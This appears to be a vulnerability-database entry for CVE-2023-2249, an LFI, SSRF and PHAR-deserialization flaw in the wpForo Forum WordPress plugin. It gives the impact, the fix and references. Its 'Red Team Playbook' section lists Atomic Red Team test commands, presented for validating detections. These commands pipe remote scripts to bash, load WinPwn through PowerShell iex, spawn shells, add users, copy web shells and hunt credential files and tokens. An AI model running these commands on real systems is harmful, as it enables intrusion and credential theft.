CVE-2023-2249
Overview
This vulnerability involves multiple security flaws including Local File Inclusion (LFI), Server-Side Request Forgery (SSRF), and PHAR deserialization within the wpForo Forum WordPress plugin. The root cause lies in the insecure usage of the PHP function file_get_contents without proper validation or sanitization of input data. The affected component is the Actions.php class handling file retrieval and deserialization operations in versions up to and including 2.1.7 of the plugin.
Vulnerability Description
The wpForo Forum plugin for WordPress is vulnerable to Local File Include, Server-Side Request Forgery, and PHAR Deserialization in versions up to, and including, 2.1.7. This is due to the insecure use of file_get_contents without appropriate verification of the data being supplied to the function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to retrieve the contents of files like wp-config.php hosted on the system, perform a deserialization attack and possibly achieve remote code execution, and make requests to internal services.
Impact
An attacker with subscriber-level authentication can exploit this flaw to access sensitive configuration files, perform remote code execution via deserialization, and send forged requests to internal services. This enables unauthorized data disclosure, full system compromise, and lateral movement within the hosting environment. The CVSS vector indicates network attack vector, low attack complexity, and requires low privileges but no user interaction, highlighting the ease of exploitation and high confidentiality, integrity, and availability impact.
Solution
Upgrade the wpForo Forum plugin to version 2.1.8 or later, where the insecure use of file_get_contents has been corrected with proper input validation and sanitization. Detailed patch information and remediation steps are available in the WordPress plugin repository changelog and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/800fa098-b29f-4979-b7bd-b1186a4dafcb). No additional workarounds are documented beyond applying this update.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The wpForo Forum plugin for WordPress has been identified as having significant vulnerabilities due to its insecure handling of file operations. Specifically, the plugin utilizes the file_get_contents function without proper validation of the input data, leading to multiple attack vectors including Local File Inclusion (LFI), Server-Side Request Forgery (SSRF), and PHAR Deserialization. These weaknesses arise from the plugin's failure to sanitize user inputs adequately, allowing attackers to manipulate file paths and potentially access sensitive files on the server, such as configuration files that contain database credentials and other critical information.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user with minimal permissions, such as a subscriber, can craft requests that leverage the insecure file operations. For instance, an attacker could use LFI to read sensitive files from the server, gaining access to information that could facilitate further attacks. Additionally, the deserialization vulnerability allows an attacker to send specially crafted payloads that could lead to remote code execution. By exploiting SSRF, an attacker could make requests to internal services that are not exposed to the public, potentially compromising internal network resources. The combination of these attack vectors significantly increases the risk profile for any WordPress installation using this plugin.
The real-world impact of these vulnerabilities can be severe, particularly for organizations relying on the wpForo Forum plugin for community engagement or customer support. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete server compromise. The potential for remote code execution poses a critical threat, as it could allow attackers to deploy malware, exfiltrate data, or pivot to other systems within the network. For businesses, the consequences of such breaches can include reputational damage, financial loss, and regulatory penalties, especially if sensitive customer information is exposed.
To detect and mitigate these vulnerabilities, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify instances of the wpForo Forum plugin in use and evaluate its configuration. Keeping the plugin updated to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests that attempt to exploit these vulnerabilities. It is also advisable to implement strict access controls and limit the permissions of user roles within WordPress to minimize the risk of exploitation by authenticated users.
In conclusion, the vulnerabilities present in the wpForo Forum plugin highlight the critical importance of secure coding practices and input validation in web applications. Organizations must remain vigilant in monitoring their systems for potential threats and take proactive measures to safeguard their environments. By understanding the technical details, potential attack vectors, and real-world implications of these vulnerabilities, businesses can better prepare themselves to defend against the evolving landscape of cybersecurity threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gvectors | Wpforo Forum | All |
cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2249 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/800fa098-b29f-4979-b7bd-b1186a4dafcb?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wpforo/tags/2.1.7/classes/Actions.php#L444 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wpforo/tags/2.1.8/classes/Actions.php#L437 |